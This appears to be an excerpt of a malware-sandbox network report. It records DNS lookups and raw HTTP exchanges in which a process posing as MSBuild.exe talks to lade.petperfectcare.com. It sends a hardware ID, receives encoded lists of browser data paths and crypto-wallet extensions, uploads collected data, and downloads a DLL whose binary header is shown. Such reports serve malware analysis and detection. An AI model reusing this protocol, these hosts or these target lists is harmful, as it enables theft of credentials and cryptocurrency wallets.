Oct 7, 2024 18:01:01.658205986 CEST	1.1.1.1	192.168.2.5	0x6db9	No error (0)	exemplarou.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:01:04.668018103 CEST	1.1.1.1	192.168.2.5	0x2465	No error (0)	cowod.hopto.org		45.132.206.251	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

exemplarou.sbs

lade.petperfectcare.com

nsdm.cumpar-auto-orice-tip.ro

cowod.hopto.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49831	95.164.90.97	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 18:00:39.151272058 CEST	98	OUT	GET / HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:00:40.141830921 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 7, 2024 18:00:40.146737099 CEST	446	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAK Host: lade.petperfectcare.com Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 36 39 33 37 34 33 39 33 39 30 31 39 34 32 37 37 39 37 33 36 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 2d 2d 0d 0a Data Ascii: ------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="hwid"8869374393901942779736-a33c7340-61ca------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------JEBGIIDBKEBFBGCAEBAK--
Oct 7, 2024 18:00:40.806967974 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|40d2c6db1ded20dcb29956dbbb071b03\|1\|1\|1\|0\|0\|50000\|10
Oct 7, 2024 18:00:40.809329987 CEST	521	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKJEHCGCGDAAAKFHJKJ Host: lade.petperfectcare.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="mode"1------KKKJEHCGCGDAAAKFHJKJ--
Oct 7, 2024 18:00:41.446521997 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Oct 7, 2024 18:00:41.446742058 CEST	491	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Oct 7, 2024 18:00:41.448625088 CEST	521	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIJDAFBKFHIDGCFBFC Host: lade.petperfectcare.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 2d 2d 0d 0a Data Ascii: ------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="mode"2------AEHIJDAFBKFHIDGCFBFC--
Oct 7, 2024 18:00:42.082529068 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Oct 7, 2024 18:00:42.082545042 CEST	1236	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF8MHwwfEVWRVIgV2FsbG
Oct 7, 2024 18:00:42.082560062 CEST	448	IN	Data Raw: 76 59 57 52 6b 61 57 35 77 61 32 4a 68 61 58 77 78 66 44 46 38 4d 48 78 48 51 58 56 30 61 43 42 42 64 58 52 6f 5a 57 35 30 61 57 4e 68 64 47 39 79 66 44 42 38 61 57 78 6e 59 32 35 6f 5a 57 78 77 59 32 68 75 59 32 56 6c 61 58 42 70 63 47 6c 71 59 Data Ascii: vYWRkaW5wa2JhaXwxfDF8MHxHQXV0aCBBdXRoZW50aWNhdG9yfDB8aWxnY25oZWxwY2huY2VlaXBpcGlqYWxqa2JsYmNvYmx8MXwxfDF8VHJvbml1bXwxfHBubmRwbGNia2FrY3Bsa2pub2xnYmtkZ2ppa2plZG5tfDF8MHwwfFRydXN0IFdhbGxldHwxfGVnamlkamJwZ2xpY2hkY29uZGJjYmRuYmVlcHBnZHBofDF8MHwwfE
Oct 7, 2024 18:00:42.082567930 CEST	1236	IN	Data Raw: 77 66 44 42 38 54 30 74 59 49 46 64 6c 59 6a 4d 67 56 32 46 73 62 47 56 30 66 44 46 38 62 57 4e 76 61 47 6c 73 62 6d 4e 69 5a 6d 46 6f 59 6d 31 6e 5a 47 70 72 59 6e 42 6c 62 57 4e 6a 61 57 6c 76 62 47 64 6a 5a 32 56 38 4d 58 77 77 66 44 42 38 55 Data Ascii: wfDB8T0tYIFdlYjMgV2FsbGV0fDF8bWNvaGlsbmNiZmFoYm1nZGprYnBlbWNjaWlvbGdjZ2V8MXwwfDB8U2VuZGVyfDF8ZXBhcGloZHBsYWpjZG5ua2RlaWFobGdpZ29mbG9pYmd8MXwwfDB8SGFzaHBhY2t8MXxnamFnbWdpZGRiYmNpb3BqaGxsa2RuZGRoY2dsbmVta3wxfDB8MHxHZXJvV2FsbGV0fDF8YmdwaXBpbWlja2
Oct 7, 2024 18:00:42.082577944 CEST	1236	IN	Data Raw: 59 49 45 52 6c 52 6d 6b 67 56 32 46 73 62 47 56 30 66 44 46 38 5a 47 35 6e 62 57 78 69 62 47 4e 76 5a 47 5a 76 59 6e 42 6b 63 47 56 6a 59 57 46 6b 5a 32 5a 69 59 32 64 6e 5a 6d 70 6d 62 6d 31 38 4d 58 77 77 66 44 42 38 52 6e 4a 76 62 6e 52 70 5a Data Ascii: YIERlRmkgV2FsbGV0fDF8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fDF8a3BwZmRpaXBwaGZjY2VtY2lnbmhpZnBqa2FwZmJpaGR8MXwwfDB8U2FmZVBhbHwxfGxnbXBjcGdscG5nZG9hbGJnZW9sZGVhamZjbG5oYWZhfDF8MHwwfFN1YldhbGxldCAtIFBvbGthZG90IF
Oct 7, 2024 18:00:42.082587957 CEST	456	IN	Data Raw: 38 4d 48 78 50 63 47 56 75 54 57 46 7a 61 79 42 58 59 57 78 73 5a 58 52 38 4d 58 78 77 5a 57 35 71 62 47 52 6b 61 6d 74 71 5a 33 42 75 61 32 78 73 59 6d 39 6a 59 32 52 6e 59 32 4e 6c 61 33 42 72 59 32 4a 70 62 6e 77 78 66 44 42 38 4d 48 78 54 59 Data Ascii: 8MHxPcGVuTWFzayBXYWxsZXR8MXxwZW5qbGRkamtqZ3Bua2xsYm9jY2RnY2Nla3BrY2JpbnwxfDB8MHxTYWZlUGFsIFdhbGxldHwxfGFwZW5rZmJicG1oaWhlaG1paG5kbW1jZGFuYWNvbG5ofDF8MHwwfEJpdGdldCBXYWxsZXR8MXxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fD
Oct 7, 2024 18:00:42.084665060 CEST	522	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAEHCFHJJJJECAAFBKJ Host: lade.petperfectcare.com Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="mode"21------IDAEHCFHJJJJECAAFBKJ--
Oct 7, 2024 18:00:42.732088089 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180
Oct 7, 2024 18:00:42.812064886 CEST	191	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAECAFHDBGIDGCAEHJE Host: lade.petperfectcare.com Content-Length: 5465 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:00:42.812149048 CEST	5465	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 Data Ascii: ------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------DAAECAFHDBGIDG
Oct 7, 2024 18:00:43.607309103 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 18:00:43.609334946 CEST	105	OUT	GET /sql.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:00:43.804640055 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:43 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Fri, 24 Nov 2023 13:43:06 GMT Connection: keep-alive ETag: "6560a86a-258600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZYPELi`e!% {D %@#6$($$`#8x#@$.textG `.rdata" $ @@.data4\| $b#@.idata$^$@@.00cfg$p$@@.rsrc$r$@@.reloc5$$@B
Oct 7, 2024 18:00:43.804692984 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc cc cc cc cc e9 8b 17 1c 00 e9 a0 11 1d 00 e9 bf ab 1b 00 e9 a2 44 1c 00 e9 3b 27 1d 00 e9 cc 5a 1d 00 e9 95 a9 1c 00 e9 Data Ascii: D;'ZRxs\tNg4^0Gb&OlpjBT%{rf:%oR}r
Oct 7, 2024 18:00:43.804708958 CEST	1236	IN	Data Raw: e9 de dd 1a 00 e9 38 5b 1e 00 e9 03 3c 1c 00 e9 d8 5a 1b 00 e9 36 f6 1d 00 e9 a1 53 1c 00 e9 fd 8f 1c 00 e9 5c c1 1b 00 e9 7e a0 1a 00 e9 cf ff 1e 00 e9 f6 9f 1a 00 e9 68 00 1e 00 e9 b8 b0 1f 00 e9 32 5a 1d 00 e9 43 81 1e 00 e9 c5 06 1b 00 e9 b0 Data Ascii: 8[<Z6S\~h2ZC;<V.++-9nq(+:FEska9_U`GiY! O<'_zBo0q
Oct 7, 2024 18:00:43.804932117 CEST	1236	IN	Data Raw: af 87 1e 00 e9 da 21 1d 00 e9 17 0a 1d 00 e9 54 2a 1a 00 e9 b6 59 1b 00 e9 d4 75 00 00 e9 97 40 1c 00 e9 2d 18 1c 00 e9 36 21 1b 00 e9 f4 21 20 00 e9 b1 44 1f 00 e9 be af 1c 00 e9 e1 96 1e 00 e9 6e 6b 1d 00 e9 bb a8 1c 00 e9 92 79 1f 00 e9 ed 8d Data Ascii: !T*Yu@-6!! DnkySD<8~d`14Y^2HNU7V3P][ M #~Vvt5-
